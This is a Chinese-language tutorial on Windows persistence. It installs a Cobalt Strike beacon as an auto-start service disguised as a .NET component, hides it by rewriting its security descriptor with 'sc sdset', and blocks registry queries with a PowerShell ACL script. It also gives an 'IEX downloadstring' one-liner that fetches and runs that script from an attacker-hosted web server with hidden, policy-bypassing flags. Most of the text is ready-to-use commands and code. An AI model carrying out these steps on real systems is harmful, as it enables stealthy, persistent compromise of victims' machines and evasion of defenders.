Windows权限维持之利用安全描述符隐藏服务后门进行权限维持(八)
我们先打开cs的服务端
然后我们打开客户端
我们点击连接
然后弹出这个界面
然后我们新建一个监听器
然后我们生成一个beacon
然后把这个复制到目标主机
然后我们双击 运行
然后cs这边就上线了
然后我们把进程结束掉
然后我们再把他删除掉
然后我们创建服务
将后门程序注册为自启动服务是我们常用的一种进行权限维持的方法,通常可以通过sc或者powershell来进行创建。
cmd创建自启动服务
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\administrator\1.exe" depend= Tcpip obj= Localsystem start= auto
然后我们打开服务 就能看见我们新创建的服务 我们要把它开启
然后我们cs 这边就上线了
我们这里来查看服务
sc query | findstr ".NET CLR Networking 3.5.0.0"
这里出现第二个后门 因为我刚才又重新启动服务了 我们把第一个删除掉
当然我也可以用powershell
powershell创建自启动服务
new-service –Name ".NET CLR Networking 3.5.0.0" –DisplayName ".NET CLR Networking 3.5.0.0" –BinaryPathName "cmd.exe /k C:\Users\administrator\beacon.exe" – StartupType AutomaticDelayedStart
但创建的服务很容易被发现通过sc query和Get-Service很容易发现,直接查询服务也能看见
通过修改SDDL(安全描述符)隐藏服务
众所周知, windows访问控制模型分为两部分:
access token(访问令牌)
安全描述符
安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安全描述符可以包含以下安全信息:
对象的所有者和主要组的Sid (安全标识符)
用于指定允许或拒绝特定用户或组的访问权限的DACL。
指定为对象生成审核记录的访问尝试类型的SACL。
一组限制安全描述符或其各个成员的含义的控制位。
windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
然后我们服务就找不见了
在cmd窗口呀查询不到
在知道服务名的前提下查询会显示拒绝访问:
net start ".NET CLR Networking 3.5.0.0"
这里我们的cs也上线了
但这样做有一个问题:在注册表中很容易看到异常value。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NETCLRNetworking3.5.0.0
这里也有这个存在
修改注册表ACL
我们可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果。
这里给出一个通过powershell修改注册表项的访问权限的简单脚本:
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues" $inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access =
[System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang ePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Allow" $rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
}
我们在kail上新建1.ps1
然后我们开启web服务
python3 -m http.server 80
远程加载powershell脚本:
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.25.138/1.ps1'));Server-Sddl-Change - Name '.NET CLR Networking 3.5.0.0'"
然后哦我们重启计算机
发现也是隐藏了
详细
利用安全描述符隐藏服务后门进行权限维持